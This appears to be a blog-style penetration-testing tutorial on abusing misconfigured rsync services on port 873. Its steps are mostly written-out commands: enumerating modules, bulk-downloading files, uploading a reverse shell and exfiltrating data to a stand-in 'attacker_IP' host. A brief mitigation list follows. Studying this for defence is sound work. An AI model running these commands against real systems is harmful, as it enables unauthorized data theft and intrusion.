Exploiting Rsync (Port 873) for Data Leakage in Penetration Testing

Listen to this Post

Featured Image
Tip: If you discover an origin IP during reconnaissance, always check port 873 (rsync) for potential internal file leakage. A misconfigured rsync service can allow unauthorized bulk data downloads, leading to significant security breaches.

You Should Know: Rsync Exploitation Techniques

1. Identifying Open Rsync Port

Use Nmap to scan for open rsync ports:

nmap -p 873 <target_IP> -sV --script rsync-list-modules

2. Listing Available Rsync Modules

If rsync is exposed, list accessible modules:

rsync rsync://<target_IP>/

3. Downloading Files via Rsync

If modules are accessible, download files recursively:

rsync -av rsync://<target_IP>/module_name /local/directory/

4. Checking for Anonymous Access

Some rsync servers allow anonymous access. Test with:

rsync --list-only rsync://anonymous@<target_IP>/

5. Exploiting Misconfigured Permissions

If write permissions are available, upload a reverse shell:

rsync /path/to/malicious/file rsync://<target_IP>/module_name/

6. Automated Rsync Enumeration with Metasploit

Use Metasploit for deeper exploitation:

msfconsole
use auxiliary/scanner/rsync/modules_list
set RHOSTS <target_IP>
run

7. Post-Exploitation: Data Exfiltration

After gaining access, exfiltrate sensitive data:

rsync -azv /sensitive/data/ rsync://attacker_IP/backup_folder/

Mitigation & Best Practices

  • Restrict Rsync Access: Use firewall rules (iptables/ufw) to limit rsync access.
  • Enable Authentication: Require strong passwords for rsync.
  • Disable Anonymous Uploads: Remove anonymous write permissions.
  • Monitor Rsync Logs: Check `/var/log/rsyncd.log` for suspicious activity.

What Undercode Say

Rsync misconfigurations remain a critical attack vector in penetration testing. Attackers leverage exposed rsync services to download sensitive data, escalate privileges, or plant backdoors. Always audit rsync configurations in internal and external networks.

Expected Output:

  • Successful rsync module listing.
  • Unauthorized file downloads.
  • Potential reverse shell upload.
  • Sensitive data exfiltration.

Prediction

As cloud storage and synchronization services grow, rsync misconfigurations will continue to be a prime target for cybercriminals. Expect more automated tools exploiting rsync in 2024-2025.

Relevant URLs:

References:

Reported By: Praveenkumar Praveenarsh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram